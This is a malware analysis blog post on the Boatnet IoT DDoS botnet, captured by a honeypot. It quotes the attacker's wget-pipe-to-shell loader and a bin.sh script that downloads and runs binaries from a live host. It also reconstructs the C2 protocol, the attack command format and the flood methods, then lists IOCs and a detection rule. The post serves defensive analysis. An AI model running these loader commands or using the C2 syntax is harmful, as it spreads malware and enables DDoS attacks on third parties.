Skip to main content

Fresh From the Honeypot: Boatnet

· 8 min read

Overview

Boatnet - a multi-architecture IoT botnet component.

Campaign Graph


Methodology

This investigation was done entirely statically (i.e. I didn't execute the binary && Hybrid Analysis couldn't run it anyway since some of the crucial components are dynamically generated at runtime!)

  1. Inspect ELF metadata without execution
  2. Check entropy and obvious packer indicators (UPX packer was used)
  3. Note high-entropy regions for offline inspection
  4. Attempt safe unpacking only when packer evidence supports it
  5. Use strings and command logs to separate static configuration from runtime (dynamic) configuration
  6. Correlate honeypot sessions, uploaded filenames, source IPs, staging domains, and payload-hosting infrastructure

Tools used

You don't need anything fancy, just a few libraries:

  • readelf, file, stat, and xxd for ELF structure and byte-level triage
  • binwalk and binwalk -E for signature and entropy checks
  • strings, grep, and shell one-liners for static indicator extraction
  • upx for packer validation
  • honeypot logs for attacker workflow and source correlation

Investigation

The observed Boatnet loader command

The Boatnet infrastructure artifact came from a command observed in the attacker workflow:

cd /tmp; wget http://2.26.98.67/bin.sh -O- | sh

Retrieve the script without executing it:

torsocks curl -v http://2.26.98.67/bin.sh -o /home/analysis/bin.sh

Representative result:

HTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 3371
Content-Type: text/x-sh

Inspect the script:

cat /home/analysis/bin.sh

Representative content:

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
wget http://2.26.98.67/hiddenbin/boatnet.arm -O boatnet.arm && chmod +x boatnet.arm && ./boatnet.arm; rm -f boatnet.arm
curl -O http://2.26.98.67/hiddenbin/boatnet.arm && chmod +x boatnet.arm && ./boatnet.arm; rm -f boatnet.arm
...
wget http://2.26.98.67/hiddenbin/boatnet.x86_64 -O boatnet.x86_64 && chmod +x boatnet.x86_64 && ./boatnet.x86_64; rm -f boatnet.x86_64
curl -O http://2.26.98.67/hiddenbin/boatnet.x86_64 && chmod +x boatnet.x86_64 && ./boatnet.x86_64; rm -f boatnet.x86_64
rm -rf bin.sh

This is a classic architecture fanout loader: download every build, try to execute each one, delete it, and let the compatible one survive long enough to run.

Extract URLs from the loader

Use a simple URL extractor:

grep -Eo 'http://[^ ]+' /home/analysis/bin.sh

Representative result:

http://2.26.98.67/hiddenbin/boatnet.arm
http://2.26.98.67/hiddenbin/boatnet.arm5
http://2.26.98.67/hiddenbin/boatnet.arm6
http://2.26.98.67/hiddenbin/boatnet.arm7
http://2.26.98.67/hiddenbin/boatnet.i486
http://2.26.98.67/hiddenbin/boatnet.i686
http://2.26.98.67/hiddenbin/boatnet.m68k
http://2.26.98.67/hiddenbin/boatnet.mips
http://2.26.98.67/hiddenbin/boatnet.mpsl
http://2.26.98.67/hiddenbin/boatnet.ppc
http://2.26.98.67/hiddenbin/boatnet.sh4
http://2.26.98.67/hiddenbin/boatnet.spc
http://2.26.98.67/hiddenbin/boatnet.x86
http://2.26.98.67/hiddenbin/boatnet.x86_64

Check whether the payload directory is exposed

Query the directory directly (using torsocks or proxychains or whatever):

torsocks curl http://2.26.98.67/hiddenbin/

Representative result:

Index of /hiddenbin

boatnet.arm 2026-04-14 12:19 25K
boatnet.arm5 2026-04-14 12:19 9.1K
boatnet.arm6 2026-04-14 12:19 31K
boatnet.arm7 2026-04-14 12:19 51K
boatnet.i486 2026-04-14 12:19 28K
boatnet.i686 2026-04-14 12:19 23K
boatnet.m68k 2026-04-14 12:19 53K
boatnet.mips 2026-04-14 12:19 27K
boatnet.mpsl 2026-04-14 12:19 27K
boatnet.ppc 2026-04-14 12:19 25K
boatnet.sh4 2026-04-14 12:19 40K
boatnet.spc 2026-04-14 12:19 51K
boatnet.x86 2026-04-14 12:19 22K
boatnet.x86_64 2026-04-14 12:19 24K

That spread across ARM, MIPS, PPC, SH4, x86, and x86_64 is a classic IoT botnet distribution pattern. In practical terms, it looks like Mirai.

Safely retrieve one Boatnet sample

Retrieve, but do not execute, the x86_64 sample:

torsocks curl -v http://2.26.98.67/hiddenbin/boatnet.x86_64 \
-o /home/analysis/boatnet.x86_64

Representative result:

HTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 24248

Hash it:

sudo sha256sum /home/analysis/boatnet.x86_64

Result:

c8ac1b479721ae4857cb0c6ff3d011b3248eae14519d26a8167eee58fd41f287 /home/analysis/boatnet.x86_64

Identify and unpack Boatnet

Basic file type:

sudo file /home/analysis/boatnet.x86_64

Representative result:

boatnet.x86_64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

Initial strings showed a UPX marker:

sudo strings -a -n 6 /home/analysis/boatnet.x86_64 | grep -Ei 'UPX|packed'

Representative result:

$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $

Validate and unpack:

sudo upx -t /home/analysis/boatnet.x86_64

sudo upx -d /home/analysis/boatnet.x86_64 \
-o /home/analysis/boatnet.x86_64.unpacked

Representative result:

testing /home/analysis/boatnet.x86_64 [OK]

File size Ratio Format Name
43568 <- 24248 55.66% linux/amd64 boatnet.x86_64.unpacked

Unpacked 1 file.

Extract Boatnet attack and traffic-shaping strings

After unpacking, the strings become much more useful:

sudo strings -a -n 5 /home/analysis/boatnet.x86_64.unpacked | head -200

Representative result:

[1;33m[BOT] Attacking %s:%d with %s
GET /%s?%s HTTP/1.1
Host: %s
User-Agent: %s
Referer: %s
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Forwarded-For: %d.%d.%d.%d
X-Real-IP: %d.%d.%d.%d
Via: 1.1 %d.%d.%d.%d
Cache-Control: no-cache
Connection: keep-alive
POST /%s HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=%s; _ga=GA1.2.%d.%d

This is HTTP flood traffic generation with browser headers, fake forwarding headers, and session/cookie-like data.

Recover Boatnet C2 IP and protocol strings

Search for IPs and C2-ish strings:

sudo strings -a -n 4 /home/analysis/boatnet.x86_64.unpacked \
| grep -E '[0-9]{1,3}(\.[0-9]{1,3}){3}'

Representative result:

2.26.98.67

Use radare2 to locate string VMAs:

sudo r2 -q -c 'aaa' \
-c 'izz~2.26.98.67' \
-c 'izz~Connected' \
-c 'izz~HTTPRAGE' \
-c 'izz~CFBYPASS' \
-c 'q' \
/home/analysis/boatnet.x86_64.unpacked

Representative result:

386 0x0000875e 0x0040875e 10 11 .rodata ascii 2.26.98.67
387 0x00008769 0x00408769 10 11 .rodata ascii Connected\n
391 0x00008797 0x00408797 8 9 .rodata ascii HTTPRAGE
404 0x00008801 0x00408801 8 9 .rodata ascii CFBYPASS

Find cross-references:

sudo r2 -q -c 'aaa' \
-c 'axt @ 0x0040875e' \
-c 'axt @ 0x00408769' \
-c 'axt @ 0x00408797' \
-c 'axt @ 0x00408801' \
-c 'q' \
/home/analysis/boatnet.x86_64.unpacked

Representative result:

(nofunc) 0x40110c [DATA] mov edi, str.2.26.98.67
(nofunc) 0x401152 [DATA] mov esi, str.Connected_n
(nofunc) 0x40142b [DATA] mov edi, str.HTTPRAGE
(nofunc) 0x40164b [DATA] mov edi, str.CFBYPASS

Reconstruct Boatnet C2 behavior

Dump the relevant areas around those references:

sudo r2 -q -c 'aaa' \
-c 'pd 120 @ 0x004010d0' \
-c 'pd 220 @ 0x004013f0' \
-c 'pd 220 @ 0x00401610' \
-c 'q' \
/home/analysis/boatnet.x86_64.unpacked

Representative disassembly:

0x0040110c mov edi, str.2.26.98.67
0x00401111 mov word [rsp + 0x1100], 2
0x0040111b mov word [rsp + 0x1102], 0xbc01
...
0x00401152 mov esi, str.Connected_n ; "Connected\n"
...
0x004011a0 mov esi, str.PING
...
0x004011bc mov esi, str.PONG_n ; "PONG\n"

The 0xbc01 value is stored in network byte order. Interpreted as a TCP port, that gives:

2.26.98.67:44481

The C2 protocol is plaintext TCP:

Bot -> C2: Connected
C2 -> Bot: PING
Bot -> C2: PONG

The command parser uses this format string:

.%s %s %d %d %d

That reconstructs to:

.<method> <target> <port> <duration> <threads>

Example shape:

.HTTPRAGE example.com 80 60 100

The leading dot is checked before parsing, which means attack commands must begin with ..

Supported methods observed in the unpacked binary include:

UDP
TCP
HTTPRAGE
BYPASS
MC-TCP
MC-UDP
MCHANDSHAKE
MCLEGIT
OVHUDP
FORTNITE
DISCORD
RAKNET
TCPRAGE
VSE
DNS
ICMP
HTTP
HTTPS
CFBYPASS
TLS
DISCORDBYPASS
RAGE

This confirms Boatnet is a modular DDoS bot with a raw TCP, newline-delimited C2 protocol.


Infrastructure Roles


2.26.98.67
Role: Boatnet payload host and apparent Boatnet C2
Paths: /bin.sh, /hiddenbin/boatnet.*
Port: 44481
Confidence: high for Boatnet distribution

Boatnet
Role: commodity multi-architecture IoT botnet payload set
Pattern: Mirai-like architecture fanout

IOCs

2.26.98.67
2.26.98.67:44481
http://2.26.98.67/bin.sh
http://2.26.98.67/hiddenbin/boatnet.arm
http://2.26.98.67/hiddenbin/boatnet.arm5
http://2.26.98.67/hiddenbin/boatnet.arm6
http://2.26.98.67/hiddenbin/boatnet.arm7
http://2.26.98.67/hiddenbin/boatnet.i486
http://2.26.98.67/hiddenbin/boatnet.i686
http://2.26.98.67/hiddenbin/boatnet.m68k
http://2.26.98.67/hiddenbin/boatnet.mips
http://2.26.98.67/hiddenbin/boatnet.mpsl
http://2.26.98.67/hiddenbin/boatnet.ppc
http://2.26.98.67/hiddenbin/boatnet.sh4
http://2.26.98.67/hiddenbin/boatnet.spc
http://2.26.98.67/hiddenbin/boatnet.x86
http://2.26.98.67/hiddenbin/boatnet.x86_64

Detection Logic

IF
honeypot session contains wget or curl to /bin.sh
THEN
High-confidence Linux IoT botnet loader activity

Observations & Conclusions

The Boatnet activity shows a layered post-compromise workflow combining commodity botnet deployment with a more flexible, dynamically configured payload.

The 2.26.98.67 infrastructure served bin.sh and a wide set of boatnet.* architecture builds. That is noisy, high-volume botnet infrastructure!

Indicators of Compromise (IOCs)
IOCs (domains, IP addresses, files, hashes, etc.) from this analysis are available on GitHub.
View on GitHub →